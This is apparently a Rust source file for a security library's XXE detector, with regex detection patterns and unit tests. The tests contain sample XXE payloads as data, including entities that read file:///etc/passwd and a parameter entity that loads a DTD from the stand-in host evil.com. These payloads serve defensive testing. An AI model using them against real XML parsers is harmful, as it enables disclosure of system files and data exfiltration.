security_rust/protocol/
xxe.rs1use regex::Regex;
4use std::sync::LazyLock;
5
6use crate::{regex_detect, AttackCategory, DetectionResult, Detector, Severity};
7
8static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
9 vec![
10 Regex::new(r"(?i)<!ENTITY\s+").unwrap(),
11 Regex::new(r#"(?i)SYSTEM\s+["']"#).unwrap(),
12 Regex::new(r#"(?i)PUBLIC\s+["']"#).unwrap(),
13 Regex::new(r"(?i)<!DOCTYPE\s+").unwrap(),
14 ]
15});
16
17pub struct XxeDetector;
18
19impl Detector for XxeDetector {
20 fn name(&self) -> &'static str {
21 "xxe"
22 }
23
24 fn detect(&self, input: &str) -> Option<DetectionResult> {
25 regex_detect(&PATTERNS, self.name(), AttackCategory::Protocol, Severity::Critical, "XXE XML External Entity attack detected", input)
26 }
27}
28
29#[cfg(test)]
30mod tests {
31 use super::*;
32
33 fn assert_detected(input: &str) {
34 crate::test_helpers::assert_detected(
35 &XxeDetector,
36 input,
37 AttackCategory::Protocol,
38 Severity::Critical,
39 );
40 }
41
42 fn assert_clean(input: &str) {
43 crate::test_helpers::assert_clean(&XxeDetector, input);
44 }
45
46 #[test]
47 fn name_is_xxe() {
48 assert_eq!(XxeDetector.name(), "xxe");
49 }
50
51 #[test]
52 fn detects_inline_entity() {
53 assert_detected("<!ENTITY xxe SYSTEM \"file:///etc/passwd\">");
54 }
55
56 #[test]
57 fn detects_doctype_declaration() {
58 assert_detected(
59 "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>",
60 );
61 }
62
63 #[test]
64 fn detects_parameter_entity() {
65 assert_detected("<!ENTITY % param SYSTEM \"http://evil.com/xxe.dtd\">");
66 }
67
68 #[test]
69 fn detects_public_entity() {
70 assert_detected(
71 "<!ENTITY xxe PUBLIC \"-//W3C//DTD XHTML 1.0//EN\" \"file:///etc/passwd\">",
72 );
73 }
74
75 #[test]
76 fn detects_mixed_case_markup() {
77 assert_detected("<!entity xxe system \"file:///etc/passwd\">");
78 assert_detected("<!doctype foo>");
79 }
80
81 #[test]
82 fn rejects_benign_xml() {
83 assert_clean("<note><to>Joe</to><from>Bob</from><body>Hi</body></note>");
84 assert_clean("<ENTITY>plain text</ENTITY>");
85 assert_clean("<!DOCTYPEfoo>");
86 assert_clean("SYSTEM\"file:///etc/passwd\"");
87 assert_clean("<!ENTITY>");
88 }
89
90 #[test]
91 fn rejects_near_misses() {
92 assert_clean("<!ENTITYxxe>");
93 assert_clean("<!ENTITY%xxe>");
94 assert_clean("SYSTEM /etc/passwd");
95 }
96
97 #[test]
98 fn rejects_empty_and_whitespace() {
99 assert_clean("");
100 assert_clean(" ");
101 }
102
103 #[test]
104 fn rejects_unicode_text() {
105 assert_clean("这是一段普通的中文 XML 描述文本");
106 }
107}